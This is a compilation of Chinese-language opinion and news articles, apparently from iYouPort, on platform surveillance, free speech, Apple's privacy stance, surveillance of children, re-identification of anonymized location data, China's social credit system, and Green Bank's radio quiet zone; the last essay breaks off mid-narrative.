- 这篇文章很重要《互联网如何让你失去自由？》

也许您很幸运，并且在当今的算法专制的公共领域中赢得了大奖：一大堆爱您或恨您的观众。

您的帖子积累了很多点赞和分享吗？还是它引起了另一种“参与”：您是否收到了成千上万的威胁，嘲笑您的消息、提及、通知和电子邮件？你为麻烦而烦恼吗？无形的愤怒者订购了100个比萨饼到您家吗？他们是否邀请了特警队 —— 穿着黑色制服拿着枪的家伙 —— 在您的晚餐时间忽然闯进来？

- 《当一个陌生人想要毁掉你的生活……来自社交媒体时代特有的威胁》

不论如何 ……恭喜您，至少您已经找到了“观众”。

这就是所谓的黄金时代的实际运作方式：在21世纪，传播想法和吸引观众的能力不再受限于昂贵的集中式广播基础设施的限制。

取而代之的是，它受到人们分配注意力的能力的限制。

- 《注意力萎缩的世界，之后呢？》

而现在，全世界的注意力是通过仅以下几个数字平台在极大程度上和压倒性的结构化的：Facebook，Google（拥有YouTube），以及程度较小的 Twitter。

这些公司喜欢把自己粉饰成自由表达的纪念碑来捍卫自己，它们的规模已经达到了全球历史上的顶级。他们已经成为媒体传播的主导者，并且，越来越多地“代表”了公共领域。

但是，他们的业务核心是平凡的：这些监视资本主义寡头是广告经纪人。对于几乎任何想要付钱的人，他们都具有精确操控我们每个人的眼球的能力。

他们使用对我们所有人的行为的大规模监视 —— 不论是在线还是离线 —— 来生成越来越准确的自动化预测，以预测我们最容易受到哪

些广告的影响、以及哪些内容将使我们不断点击、滚动、欲罢不能。

简单说：他们想要知道如何更好地操纵我们所有人。

那么，这种算法专制的公共领域会给每个人带来什么呢？

用技术术语来说， Facebook 和 YouTube 是“互动最佳化”的，其捍卫者会告诉您，这意味着他们 “只是在提供我们想要的东西” —— 如果您对此认同，那么请这篇文章《算法暴政：定制人如何终结民主》，这将改变您的想法。

Facebook和 YouTube 吸引我们注意力的特定方式并没有自然或必然的趋势。到目前为止，这些模式是众所周知的。 正如 Buzzfeed 在 2016年11月的著名报道中所言，“与19个主要新闻媒体的最高选举新闻加起来相比，顶级虚假新闻在 **Facebook** 上产生的参与度更高。”

人类是一种社会物种，除了我们获取知识并停留在共同工作的群体中的能力之外，对自然界几乎没有防御能力。

人类特别容易受到新奇事物、他人的肯定和有来源的信息、以及对感知到的敌人的愤怒信息的影响。这些信息对于人类社区来说就如盐、糖和脂肪对食欲的刺激一样。

而 **Facebook** 所做的正是让我们所有人沉浸于这些东西，正如该公司第一任总裁 Sean Parker 所描述的 “社交验证反馈循环”。

这个 “自助餐厅” 没有营养标签。对于 Facebook、YouTube 和 Twitter，所有帖子（无论是重大新闻、宠物视频、反犹主义meme、还是所谓的智能剃须刀广告）都不过是 “内容”，每个帖子都不过是在轮盘上飞速旋转的木马。

私人发布的帖子的外观几乎与广告完全一样，看上去与《纽约时报》的文章也非常相似，而纽约时报的视觉效果与量身定做的假新闻也几乎相同。

而且，所有这些在线言说都不再是任何传统意义上的公开。

当然，Facebook 和 Twitter 有时就让人感觉像是人们同时在一起体验事物的地方。但是，实际上，每个帖子都是逐个屏幕定向和私下发送的。理解这点非常重要！

如今，幻影般的公共领域已经彻底分裂，并淹没在数十亿个毛细血管

中。是的，大众对话已经变得如此容易，但是，也同时变成了背后发生的一系列私人对话。在每个人的背后。

不要对此提出过分的观点，但是必须知道，所有这一切在概念、法律和道德上都使我们对言论自由的看法已经彻底失效了。

如今，最有效的审查形式包括互相信任和关注，而不是屏蔽言论本身。结果，它们看起来根本不像旧的审查形式。

它们看起来像是病毒式的传播或有组织的骚扰运动，它们利用病毒式暴行的动力在言说行为上造成了难以承受的不成比例的代价。

它们看起来像是虚假信息的流行病，意在削弱有效信息来源的可信度。它们看起来像是由机器人推动的诱饵和分散注意力的运动。

这些策略通常不会违反任何法律，也不会触发任何《第一修正案》的警钟。但是，它们都具有与旧的审查形式相同的目的：它们是阻止想法传播和获得应有的关注度的最佳可用工具。

即使大型平台本身宣传某人违反了所谓的 “社区标准” 进而封锁或引导某人离开该平台时（这种行为确实对许多人来说都像老式的审查制度一样），但从技术上讲，这不是对言论自由的侵犯，即使它展示了这些寡头公司的巨大权力。世界上的任何人如今仍然可以在互联网上阅读极右翼 trolls Tim “Baked Alaska” Gionet 所说的话。 Twitter 将他踢出了平台这一举动，反而提升了他的知名度。

在社交媒体时代，更多关于言论自由的最古老的高尚想法根本无法写成代码。

在美国最著名的说法是 “对不良言语的最佳治疗方法是更多的言语”，这是最高法院大法官 Louis Brandeis 的措辞。但是，您如何应对看不到的东西？当您无法针对接收原始消息的同一受众时，如何用更多的语音来解决 “不良” 语音的影响？

- 为什么辟谣很可能无用《纠错有很高的技术含量 稍有不慎便适得其反，该怎么做？》
- 辟谣如何变成了一种维稳手段《逮捕、追踪和惩罚，全球”反谣言”行动地图》

这不是对怀旧的呼唤。

过去，边缘化的声音很难吸引到广大观众。他们通常从未超越发布晚

间新闻的那几个守门人，他们在曼哈顿和华盛顿特区彼此相隔数个街区工作和生活。持不同政见者可以做的最好的事通常是设计自我牺牲的公共形象，使那些守门人很难忽视 —— 就像美国民权领袖派遣学童在阿拉巴马州伯明翰的街头游行那样，能让守门人拍摄出最赤裸的警察暴行。

但是在那时，每个政治角色至少都可以或多或少地看到其他所有人所能看到的东西。而如今，即使是最有权势的精英阶层也常常无法有效召集公众来反对病毒式传播的信息。

在2016年总统大选期间，正如 Joshua Green 和 Sasha Issenberg 为彭博社报道的那样，特朗普竞选活动使用了所谓的 dark posts（针对特定受众的非公开帖子），以阻止非洲裔美国人投票。

克林顿竞选活动几乎无法监视这些消息，更不用说直接对付它们了。只有特朗普竞选小组和 Facebook 才知道观众是谁。

重要的是要意识到，在此过程中，特朗普竞选活动并没有过分地将无辜的工具武器化。它只是完全按照设计使用的方式使用了 Facebook。

该活动的成本非常低，Facebook 员工在办公室里提供协助，就像科技公司为大多数大型广告商和政治活动所做的那样。只要人们看到了广告，谁会在乎消息的来源或作用是什么？

马克·扎克伯格坚持 Facebook 的 “连接世界” 和 “将世界拉近在一起” 的使命，以证明其公司的所谓公共美德。“在2016年，人们在 Facebook 上进行了数十亿的互动和公开讨论，” 他在回顾美国大选的在线视频中自豪地说道。“候选人有直接的渠道与成千上万的公民进行交流。”

更多的表达、更多的参与、更多的联系，构成了最高端最坚固的商品，这正是监视资本主义寡头的普遍做法。但是历史学家会认为这种信念是谬论。

连接性不是它看起来的那样纯真。 Facebook 不仅将热爱民主的埃及持不同政见者和电子游戏 “*Civilization*” 的粉丝联系起来，并且，它还召集了白人至上主义者，他们现在可以更加有效地集会。

它有助于连接缅甸激进的僧侣，他们现在拥有更强大的工具来将煽动行为传播到种族清洗中，从而加剧了世界上增长最快的难民危机。

言论自由是一个重要的民主价值，但是它不是唯一的价值。在自由主义的传统中，言论自由通常被理解为实现其他社会理想的必要条件：创造有知识的公众；培养健康、理性和知情的辩论；让有权势的人和机构负责任；保持社区的生机和活力。而我们现在看到的是，当自由言论被视为目的而非手段时，它很可能会破坏和扭曲它所要传递的一切。

一些科学家预测，在未来几年内，与肥胖作斗争的儿童人数将超过与饥饿作斗争的儿童人数。为什么？

当人类的状况以饥饿和饥荒为标志时，渴望浓缩的卡路里和盐是完全合理的。而现在，我们生活在食物过剩的环境中，对于这种对健康的新型威胁，我们几乎没有遗传、文化或心理方面的防御措施。

同样，即使我们获得了比以往任何时候都更多的言论，也很可能无法防御这些对民主理想的新颖而有力的威胁。

这里的赌注并不低。过去，人类为了应对先前信息革命的新颖性和剧变的政治、文化和体制，花了几代人的时间才形成抗体。

如果 *The Birth of a Nation* 和 *Triumph of the Will* 现在问世，它们就会失败；但它俩都是在电影还处于起步阶段时首次亮相的，它们对媒体的创新使用有助于推动 KKK 的大规模复兴和纳粹主义的兴起。

至此，我们已经足够认识到这些寡头公司的平台所基于的核心业务模型 —— 通过大规模监视基础架构吸引注意力以允许有针对性的、大多是自动化的大规模广告的发布 —— 与威权主义、政治宣传，虚假信息和两极分化，过于兼容了。

迄今为止，人类已经发展出了可以防止审查和政治宣传的抗体，例如法律、新闻道德准则、独立的监督者，大众教育，这些都已经演变成一个世界，在这个世界上，扼杀几个发言人并威胁几个人以封锁言论那种古老的手段，已经不再有效。

但是，我们不必彻底放弃互联网。 Facebook 只有13岁，Twitter 只有11岁，甚至 Google 也只有19岁。这些数字如果放在汽车工业发展中你可以看到，那个时候仍然没有安全带、没有安全气囊、没有排放控制和强制防撞装置。而现在都有了。最重要的是，我们还有时间改变这一切。

互联网上关注和监视工作的基础规则和激励结构需要彻底改变。公平

地说，尽管 Facebook、Google 和 Twitter 可以做得很多，但是，如果公众强烈要求这些监视寡头来解决所有这些问题，从根本上就是错误的。

解决数字语话问题的方案很少，而且不涉及巨大的权衡取舍，但必须说马克·扎克伯格并不是选项之一。

这些应该是深刻的政治决定。在20世纪，美国通过了法律，禁止油漆和汽油中的铅，定义了房东要给租户多少隐私权，并确定了电话公司可以监视其客户多少。而如今我们依旧可以决定如何处理数字监视、注意力操纵、骚扰、数据收集、和算法专制。我们只需要开始讨论这些问题。现在就开始。〇

It’s the (Democracy-Poisoning) Golden Age of Free Speech

原文

别天真，库克不是上帝 - iYouPort

互联网自由-Resist你应该了解的现实

Apple 有几项强有力的激励措施来支持个人数据隐私。它可以是因为，其核心业务—手机、笔记本电脑、服务—并不依靠收集用户的个人数据来赚钱。苹果有兴趣大声谈论保护隐私，因为它希望用户在 **iDevices** 上存储越来越多的敏感个人信息，如移动支付凭证和医疗保健数据。

然而，苹果首席执行官 Tim Cook 关于时代隐私的新观点应该提醒人们，苹果的业务并未完全从个人数据经济中消失，或者正如一些人所说的那样—— 它是监视资本主义的一部分。以下是库克文章的关键部分：

“我们认为联邦贸易委员会应该建立一个数据代理清算所，要求所有数据经纪人进行注册，使消费者能够跟踪捆绑销售的数据交易，并让用户有权删除他们的数据。自由、轻松和在线，一劳永逸。“

库克的想法并不坏。这将使像 Axciom 这样的阴暗的数据公司暴露出来，进入监管机构和公众的视野。但是，很难确定库克是传播这个信息的合适人选。他可不是一个无私的人。**Apple** 有明确的经济利益。这是 Bloomberg Opinion 专栏作家 Shira Ovide 写的：“你需要被定期提醒 ，Apple 每年从 Google 获得数十亿美元—以支持 Google 的数据收集/跟踪/在线广告。”

对 Apple 隐私立场的任何分析都必须承认，它在一个观点或广告宣传中永远不会提出的两个关键事实：

1、Facebook 是个人数据最大的两个收割机之一，它也是 Apple App Store 历史上最受欢迎的免费应用程序。与谷歌一样，Apple 是其两个主要分销商之一。

2、谷歌，和 Facebook 一样的另一个主要个人数据收割机，它支付 Apple 保留其 iOS 默认搜索引擎的地位。高盛估计，2018年这笔费用达到90亿美元，2019年可能高达120亿美元。

Apple 需要大笔的付款。**iPhone** 销售正在放缓，谷歌的费用可能是苹果依赖的“服务”收入的最大部分。

苹果可能会说它的 Facebook 和谷歌产品的分销是合理的，因为它的客户想要它们。如果没有办法在 iPhone 上使用 Facebook 或谷歌，那肯定不会对销售有利。

从消费者的角度来看，很难对 Apple 在隐私方面的立场感到不安，即使它有点复杂。该公司在华盛顿拥有强大的声音，在特朗普时代，国会民主党人可能需要他们在2020年之前通过有意义的数据隐私立法获得的所有帮助。

但是，让我们不要天真。苹果所做和公开表达的内容始终是旨在加强其各种业务的谨慎脚本的一部分。科技公司的自私自利和保护消费者的更高尚愿望并不总是相互排斥的，但是，在 Apple 和隐私的情况下，谁会排在第一位还用问吗？

关联曾经的分析：《声称“给你隐私”但不给你自由：看 Apple 如何把玩文字游戏》

Apple’s inconvenient truth: It’s part of the data surveillance economy. What Apple does and says publicly is always part of a careful script intended to bolster its various businesses.

原文

别让你的孩子深陷1984 - iYouPort

作恶者：谁在帮中国你应该了解的现实你我的灾难现实

一所中国学校已部署了读取大脑信号的头带，不同颜色的灯光显示不同的精力集中程度，让教师可以监控学生每时每刻的大脑状况。 ⚠请记住，这些中国使用的监视设备由美国 Brainco公司制造的

我们的孩子怎么办？我们一直在强调我们自己遭遇的数字监控的危机和批判性思考被社交媒体抹杀的事实，而如果我们的抗争失败了或进展缓慢，我们的孩子成长起来的世界将比我们目前所面对的状况更加严重。尤其是，数字化将迅速地普及，这意味着隐私选择将成为我们的孩子一生中的关键问题。

事实上这种状况已经开始。

一个常见的例子是为少年司机专门定制的GPS跟踪器。一个系统永久安装在使用OBD-II端口的车辆上，之前在解释现代汽车如何威胁隐私的背景下解释过这一问题，详见《小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？》。

意图是值得称赞的：阻止年轻人肆无忌惮地驾驶，伤害甚至自杀，但侵犯隐私是显而易见的。

同样，用于儿童的 GPS 追踪器旨在阻止他们迷路或者—更严重的是—被绑架。这种 GPS 跟踪器现在重量很轻体积很小，因此可以很容易地被放在口袋或背包中。这使得它们成为关注较小孩子的理想选择，但是，也意味着年龄较大的孩子如果希望避免被父母跟踪，则可以轻松将其移除。

同样的问题会影响智能手机上安装的儿童跟踪应用程序的使用。虽然这些对于想要知道孩子离家时的位置的父母来说当然是有用的，但是通过卸载应用程序或者简单地停止携带电话一段时间就可以很容易地规避他们的监视。

对于真正想要确保随时都能找到孩子的父母来说，新一代的GPS追踪设备是使用难以移除的脚镯放置在年轻人身上的。“迈阿密先驱报”的一篇文章报道称，当地公司 Tampa Bay Monitoring 在过去三年中安装了50个GPS脚镯：

除了跟踪青少年的下落之外，脚镯还可以发出嗡嗡声或者发出刺耳的警报声。据该公司称，他们提供双向沟通，因此坦帕湾监控人员可以直接与被监控的青少年交谈并听取青少年的回应。

Tampa Bay Monitoring 提供两种设计用于脚踝的模型。buddi Insight“轻巧，准确，防水，并在发生篡改，移除，失去通信以及进入或离开固定地理区域时提供即时警报和证据。”针对高风险青少年的 ReliAlert XC“型是防篡改的，甚至是，如果被监视者试图将其取下，您将立即收到提醒。还有一种可选的硬化钢外壳，适用于高危青少年。“

同样，父母的意图可能是最好的，但在他们的孩子身上放置不可拆卸的脚镯是一种非常极端的方法。关于中国家长和学校进行监视的情况也是如此。

甚至，一所中国学校已部署了读取大脑信号的头带，不同颜色的灯光显示不同的精力集中程度，让教师可以监控学生每时每刻的大脑状况。请记住！这些中国使用的监视设备由美国 Brainco 公司制造的，下面是该公司的简介：

BrainCo 的 *FocusEDU* 提供世界上第一种可以量化学生在课堂上实时参与的技术。通过 *BrainCo* 的脑波检测头带和软件平台，教育工作者可以跟踪学生的参与度和课堂注意力水平。*FocusEDU* 平台提供对个别学生和完整课堂参与的深入了解。

Focus EDU 提供课堂内容、环境相关的和持续的反馈，使教师能够持续改进他们的教学技能。同时，学生发展自己的学习经历。学生和家长可以跟踪学习进度，而管理员可以确定最有吸引力的活动和方法，以帮助传播最佳实践……

中国的另一所学校正在使用“智能制服”，内置跟踪芯片，坚固耐用，可承受数百次普通洗涤循环。中国官媒小报环球时报说：

根据提供“智能制服”背后技术的贵州冠宇科技公司，如果穿着智能校服的学生未经许可走出学校，就会启动自动语音报警 ……通过安装在学校门口的面部识别监视设备，如果学生更换他们的制服，警报也会

响起。

将面部识别系统与“智能制服”结合使用具有重要警示意义。这提醒我们，我们正在进入一个拥有大规模监视系统的世界。因此，父母很快就可以利用大量的个人信息来揭示他们孩子的下落和活动，甚至大脑状态！这些系统的普遍存在可能意味着没有必要将笨拙的物理系统绑在孩子的腿上。监视将像脚镯一样不可拆卸，因为它不依赖于单一数据源，因此永远不会完全避免。

当然，这同样适用于成年人，他们会发现自己会受到公司和城市的不断监视。然而，涉及到儿童的关键区别在于，正在进行监测的是他们自己的父母和监护人。

问题是：鉴于在现代世界中保护隐私越来越困难，你真的希望自己的孩子这么早就体验反乌托邦的恐怖吗？

是的，使用互联网就会被监视，监视就内嵌在这个互联网里。但是，不论您的孩子使用互联网多么频繁，您都可以采取一些措施来帮助您的孩子了解他们的隐私权，并了解他们应该如何向世界展示自己。#教你的孩子如何分析他们共享的内容。

1. 与孩子合作“共享”日志或日记。
2. 让您的孩子了解所谓的“智能”技术和物联网。
3. 帮助您的孩子查看和删除泄漏隐私的内容。
4. 不论任何时候，当您需要分享关于孩子的一切，请咨询您的孩子，征求他们的同意。

这是一种训练批判性思考的机会，让孩子做主。问你的孩子他们想要告诉别人什么，以及他们觉得应该保密什么。应给予年龄较大的儿童选择是否同意的机会，特别是在网上或以可能难以更改或删除的格式分享这些内容之前。

从很小的时候起，您就可以让您的孩子对他们的经历、形象以及与他人分享的内容有一种控制感。如果你养成了在分享之前寻求他们同意的习惯，你就可以发出这样的信息，即 没有任何人的窥视需求比自己的隐私权更重要。

通过让年幼的孩子自己决定分享什么内容，也可以使他们选择分享更有意义的东西，让他们通过自己独特的观点与朋友和家人分享他们的世界。

Chinese school has deployed headbands that read brain signals. Lights on the front of the units use different colors to show the level of concentration, allowing teachers to monitor how hard their students are working at every moment. The devices are made by the US company Brainco

原文

即使数据是匿名的，您的身份仍然可以被识别 - iyouport

你应该了解的现实

【2019年3月19日存档】监视支持者经常宣称这些数据“是匿名的”，不，他们在狡辩。

由于城市里遍地都是传感器和智能手机，我们所有人都走在一个大型的数据工厂里。通过地铁旋转门、发送文本、甚至只是把电话放在口袋里：我们每小时都在生成位置标记数据。所有这些数据对于想要了解城市的规划者和设计师来说都是一个福音—当然，对于想要了解其中人员的监视资本主义巨头、政府和广告商来说也是如此。

他们一直在高喊着：这些数据是匿名的！已经从数据中清除了任何识别功能！ 但这不是真的。

麻省理工学院的一组科学家和城市规划师在一项新的研究中表明，无论如何，弄清每个人的身份都是相当简单的事。换句话说，当您在城市中处理多个数据集时，可以非常快速地对匿名数据进行去匿名化。

麻省理工学院 Senseable City Lab 创始人 Carlo Ratti 与 IEEE 共同撰写了该研究报告。

首先，他们合并了两个新加坡人的匿名数据集，一个是手机日志，另一个是过境旅行，每个都包含“位置标记”，详细说明了每个数据点的时间和地点。然后他们使用一种算法来匹配数据在每组之间紧密重叠的用户—换句话说，他们有电话日志和具有相似时间和位置标记的过境日志—跟踪这些标记随着时间的推移如何紧密匹配以消除误报。最后证明，花一个星期的时间可以实现匹配17%的用户、11周达到95%的准确率—— 利用智能手机增加的GPS数据，只需不到一周的时间就可以达到这个数字。

虽然麻省理工学院的小组并没有试图揭露这个数据集中的特定用户，但他们证明了恶意行事的人可以使用相同的过程将这些匿名数据集与个人数据集合并，轻松将时间戳固定在一起，以确定每个人的身份。

不仅仅是恶意行为者、政府或公司可以使用这个过程来监视公民。城市规划者和设计师也可以从这些大型城市数据集中学到很多东西—例如，Ratti自己的实验室最近将这些数据用于减少停车的项目，而其他团队则用它来研究从城市贫困程度到可访问性的所有内容—— 需要小心的是，将所有数据合并可以对其进行彻底的去匿名化。

“作为研究人员，我们相信使用大规模数据集可以发现前所未有的关于人类社会和流动性的见解，使我们能够更好地规划城市，”麻省理工学院未来城市交通组织的 Daniel Kondor 在发布中表示。“然而，重要的是要表明识别是否可能，以便人们可以意识到共享移动数据的潜在风险，目前，这些丰富的信息大部分由少数公司和政府机构掌握，他们对关于我们的一切知道的太多了，虽然我们对它们普遍了解甚少。我们需要注意避免数据垄断和滥用。“

换句话说，随着城市规划者、科技公司和政府收集和共享所有人的数据，我们现在必须知道：“它是匿名的”这种宣称绝不是隐私保障。当他们深入研究我们生成的数据时，城市和公民需要要求永远不会被深入识别这些数据。

Sorry, your data can still be identified even if it’s anonymized. Urban planners and researchers at MIT found that it’s shockingly easy to “reidentify” the anonymous data that people generate all day, every day in cities.

原文

又一个被漠视的深渊 - iyouport

你应该了解的现实少数派报告

【2015年9月12日存档】当你认为每一步下沉都可以用“无所谓＋至少还”句式得以自我安慰的时候，更严峻的深渊将告诉你：已经错失了扭转命运的机会。

与习近平访美、诺贝尔颁奖等接连出现的热门消息相比，中国正在全面推行“社会信用评分”系统的消息几乎没有引发中文舆论圈任何波澜，而这条消息恰恰是近期所有“大新闻”中唯一一个与国人基础权益存在密切相关的。或许并不奇怪，早在今年一月份，中国国务院法制办公室发布《中华人民共和国税收征收管理法修订草案（征求意见稿）》，其中新增了“国家施行统一的纳税人识别号制度”的消息就没能引起足够的关注，这两种东西是近似的用途。

极权的管制手段总是在不断“创新”中，“云极权和大数据维稳”的概念被披露已近一年，虽然一直被挡在墙外，但更奇怪的在于，为什么相关信息即便在墙外也没能引发足够的关注？

如果说舆论对“纳税人识别号”表现为漠视的原因是其还没有让老百姓感觉到切实的威胁，那“社会信用评分”则是直接针对你的上网行为、大数据的黑手伸入你的私生活，并以政府的标准衡量你的行为是否“被满意”、是值得奖励还是要予以惩罚。在中国人欣欣然上网晒自己的信用分数的时候，只有美国公民自由联盟(American Civil Liberties Union)的政策分析师 Jay Stanley 感到恐慌，他称这些项目“像噩梦一般”。

中国人不知道隐私是什么吗？当然不是，很多人会告诉你群聊内容不可外传、政府在警告个体泄露他人私人信息的行为将被追责，但毕福剑的境遇只带来了草木皆兵的心态，各种因网络言论被抓捕的人权消息更多只起到了扩散恐慌的作用……

浏览墙内社交网站如微博、知乎等平台，相关信息下面的留言几乎都是支持“信用评分”项目的态度，甚至很多评论看起来“欣喜、激动”，还有网民颇具时效地引入了“青岛天价大虾事件”为例，称“信用评分能

杜绝黑心老板”……不过也有极少网民“感觉不好”，表示“以后找工作的时候公司让你开个芝麻信用证明，开吧可能分数不好看，不开吧是你做贼心虚……那些分数低的从此便被贴上了信用不好的标签，永世不得翻身，人就这样在信用上被分成了三六九等，信用不好的找不到工作、找不到老婆、连朋友也交不到……细思极恐。”这或许应该是最普遍的一种焦虑了，但从整体比重上看明显处于极少数，且遭到了很多反驳。

美国公民自由联盟观测到的数据是：有近10万人在中国版Twitter上吹嘘他们的分数。随机访问了几位支持该项目的网民，大致收集到如下几种理由：

1、“美国也有”。这是一种存在即合理的思路。没错，美国的确有FICO那样的信用评级机构，但主要用来测量支付能力，它同样存在一些奖惩制度的因素，也是让Jay Stanley感觉恐慌的主要原因——“我们可以清晰地感受到美国正在向这个方向缓缓前行。这是非常现实的危险，很多我们见到的中国的体制都有在这里出现的可能”。中国的管制手段应该成为避免美国被极权主义控制的反面教材，而不是美国存在的一些不正当的举措被中国拿来当榜样或归因习惯。

2、“个人征信系统一直有，只不过之前一般人没资格查询而已，只有公开才能快速获得认同”。人民银行去年开设了个人征信查询，但人行一般不对外办理业务，商业银行也拒绝查询，除非有贷款需求。个人信用记录报告这种东西除了贷款行为之外一般时候难以使用到，贷款的人总是少数，而如今全面推行的信用评分机制直接关联到每个人的日常生活，财务往来、社交关系、上网习惯等等，相当于给每个人安排了一个“老大哥”监控你的一举一动。即便是一贯拥护政府、热爱极权体制、网络言论从不涉及政治话题的国人，你觉得活在1984的世界里会舒服吗？

3、“监控在意无处不在，你能怎么办？没本事移民就得老老实实的承受这些”。这倒是个妥妥的心理防卫机制，也是权威性人格的充分体现，相当于“你是中国人，做奴才是你应该得的”，把错误的服从理解为应当应然，即便是反讽，也足够抑制了抗争的意识。而这一切正是极权当局所希望的，自我维稳、逆来顺受，很多恶行原本是无法如期实现的，正因为太多人选择了盲目的、无原则的服从，恶行才得以延续、变本加厉。究竟是这个国家选择了极权，还是极权选择这个国家？或许可以理解为一种鸡生蛋蛋生鸡的关系……

西方国家的征信信息被视为隐私信息，受到相关法律的保护，不同政府部门之间未经过法律程序，无法查询公民的个人信息。而在极权国

家里，政府完全控制社会与经济组织、大众传媒，甚至学术研究和文艺创作，意识形态高度发展，对政府的滥用权力行为又有谁能来监督？

“社会信用评分”系统伤害到的很可能还不止个体，“灰暗记录”甚至能在一个人的社交关系网中被扩散，你的朋友的行为有可能影响到你的分数，相反也是，这相当于将原本就孤立无援的政治反对群体进一步推向了悬崖。你很可能无法实施鼓励抗争的社会动员，社运联盟的预期覆盖面严重缩水，或者因为网络上的政治立场表态影响到就业、求学和出境申请……甚至会遭到朋友同事的揭发举报，源于他们希望维护自己的高分数，那将是难以预测的危机。

也许目前为止大部分国人尚未理解到这些危害是件“好事”，至少还没被恐慌焦虑束缚住手脚，但该项目一旦普及，很快就会有人遭遇到上述状况，而相关信息的扩散肯定更快。其结果有两种可能：危机意识触发反抗，或者恐慌蔓延形成自我维稳加强版。

但应该没人希望出现后者的状况，虽然一样没人能保证这一点。经验显示，国人最普遍的反馈态度是沉默、顺从或者逃避。早在2012年，新浪微博宣布的要“对传播‘危害信息’的用户采取措施，实施用户信用积分制”的举措，其实性质上大同小异，然结果怎样呢，人们更加谨慎言论、远离微博钻进群聊，或者一如既往并保持沉默。但那只是微博而已，“社会信用评分系统”的普及将深入你生活的每一个角落，让你无处可逃，除了反抗。

科技的发展成果原本是为能让人们的生活更舒适便利，然而当它被邪恶势力所利用的时候必将背离初衷，一切资源都被极权政府拿来维护其自身统治稳定了，尤其在当下，做为极权唯一合法性来源的经济增长开始动摇的时候，社会各种不安定因素跃跃欲试，当局只能通过加倍的维稳举措来予以应对。从国家局域网到纳税人识别号、从推行全面实名制到社会信用评分，民众不仅处于各种严密监控之下，同时还处于强力的信息封锁之中。

当你认为每一步下沉都可以用“无所谓＋至少还”句式得以自我安慰的时候，更严峻的深渊将告诉你：已经错失了扭转命运的机会。〇

原文

在没有手机的小世界里享受宁静：这些人如何逃避移动设备的侵扰？ - iYouPort

你应该了解的现实

要找到真正的独处，您必须跑得更远。但是，随着网络覆盖程度越来越高，能做到独处的机会正在迅速变少……

「图」

「图」

Betty Mullenax working the register at Trent’s General Store, Green Bank’s main grocer.

这里是西弗吉尼亚州的格林班克镇—— 几周之前，我沿着弗吉尼亚州的一条泥泞小道驱车进入了这个平行世界。

翻越云杉山后不久，我的手机就接收不到信号了—— 我知道，接下来的几天手机都将保持沉寂。

当我打开车载收音机，调节旋钮，每个电台都只能传出白噪音的轰鸣声。

我已经进入了美国无线电静默区，在这个13000平方英里的山区里几乎没有手机信号塔或者其他信号基站。

我之所以要来这里，正是因为这个小镇禁止使用大量现代科技产品—— 这里是全美最严格的科技限制区。这里的居民没有手机，没有无线网络，也没有微波炉 ……以及其他任何产生电磁信号的设备。

施行这些禁令是为了保护格林班克天文台，那是位于山谷里的一个射电望远镜集群。

传统的望远镜就像是千里眼，而格林班克天文台的这些设备更像是顺风耳—— 它们可以接收到无线电频谱中的所有信号，无论是最高频

还是最低频都可以清晰接收。

这些无线电设备太过于强大，它们可以探听到遥远星球在毁灭前发出的震颤，也正因此，它们也极容易被我们这个吵闹的世界干扰。

哪怕望远镜旁边只是出现了一个短路的电动牙刷，也能掩盖遥远星际中宇宙大爆炸留下的信号。

物理学家们来这里测量引力波，天文学家们来这里研究星尘，这个天文台还是外星人搜寻者们最活跃的中心，他们渴望能在这里探测到其他星球发出的信号。

不过，在过去的十年里，这个小镇又迎来了一批新的造访者，他们自称“电子产品过敏者”（**Electrosensitives**），他们相信自己对手机信号发射塔过敏，他们中有些人甚至把自己的卧室包裹起来，希望这样就能屏蔽掉那些令他们害怕的有害射线。

「图」

「图」

Susan and John Howard live in Green Bank.

这个小镇吸引来不少“怪人”，我也是其中之一。

之所以来这个小镇，我是想寻找某种独处于荒野中的生活。

我生活在马萨诸塞州，经常躲进森林和河流深处放空头脑。每一次看到手机屏幕上信号条消失的瞬间，对我来说都是一种享受。

每一次完全离开原来的生活圈，划着皮筏顺流而下，时间就会变成一种弹性极大的概念。

每一次观察小船下面隐藏着的小王国，看到那些小鱼游过浮萍，我都深深感到自己获得了自由—— 没有人注意我，也没有人知道我在哪里。

理论上讲，我无论身在何地都可以感受这样的自由，只要我关掉手机，就能随时断开互联网。

但事实上，这招对我来说从来都不管用，我怀疑对于大多数人来说也是枉然。

因为就在手机关机的瞬间，你几乎马上就能听见各种声音劝说你重新打开它。

想体验真正的独居生活，你必须进入互联网无法触及的不毛之地。

在十年前，想找这样的地方很容易，但最近几年，即使我身处深山老林之中，手机仍然会从黑屏中突然苏醒过来，叫嚷着吸引我的关注。

「图」

「图」

The Robert C. Byrd Green Bank Telescope, in the distant haze of afternoon light.

「图」

「图」

The telescope changes positions several times a day.

能让你离线的地方正变得越来越少，当然，这是大势所趋。

我们的确应该让美国乡村实现联网，毕竟在今天智能手机的基础服务几乎和供电、供热一样不可或缺。

今年4月美国联邦通信委员会宣布，未来10年内将开展一项204亿美元的基础设施建设计划，在美国的农村地区铺设光纤设施，并且在今年年底第三次公开拍卖毫米波频谱，该计划的目标是赶在5G时代之前努力让移动互联能覆盖到美国最偏远的小镇。

不幸的是，这些电信网络的所有权将被掌握在行业巨头的手中，而非那些真正使用网络的社区居民手中。但尽管如此，也许在10年之后，这个国家从东岸到西岸都会被信号完全覆盖。

我希望到了那个时候，我们能留下几个静默区域，在那里我们仍然可以暂时断开链接。

就像社会活动家已经在建立国际黑暗天空保护区（International Dark Sky Reserve）以此保护原始区域免于人造光污染，在未来我们是不是也要开辟一些“隐私保护区”，每当我们想暂时逃离无处不在的互联网时，总能找到一个藏身之处。

过去在美国那些最安静的小镇里，你能轻松获得这种离线的感觉，就是为了重新找到那种体验。

我千里迢迢来到这里，漫步在格林班克天文台观测区域旁边的土路上。我就这样毫无目的地走过一片草地，走进一个废弃的游乐场，听着生锈的秋千在风中吱呀呀作响。

在格林班克天文台最大的那座望远镜藏在山雾中，巨大的身影像个模糊的幽灵，依稀能看到它巨大的分叉支柱，还有月亮一样的球面。这个望远镜实在是太大了，看上去有种吓人的违和感，好像是用电脑后期处理“粘贴”到天空中的。

比眼中所见更怪异的，是四周围的寂静。

不只是无线电静默，而是一种我已经很多年没听到的寂静：没有嗡嗡作响的高速路，也没有头顶上呼啸的飞机，只有一阵风吹过草地。

这阵风，还有这个孤独的游乐场，都让我觉得自己好像是误入了某个末世主题电视剧的片场。

这股魔力终于还是被打断了，一辆卡车沿着土路跌跌撞撞地开过来，先是一开车门蹿出三条狗，接着一个头发灰白的老人也从卡车里走出来。

我赶紧走过去问，他是不是就住在这里。他说他叫 Stephen McNally，自从退休之后已经在格林班克住了12年。

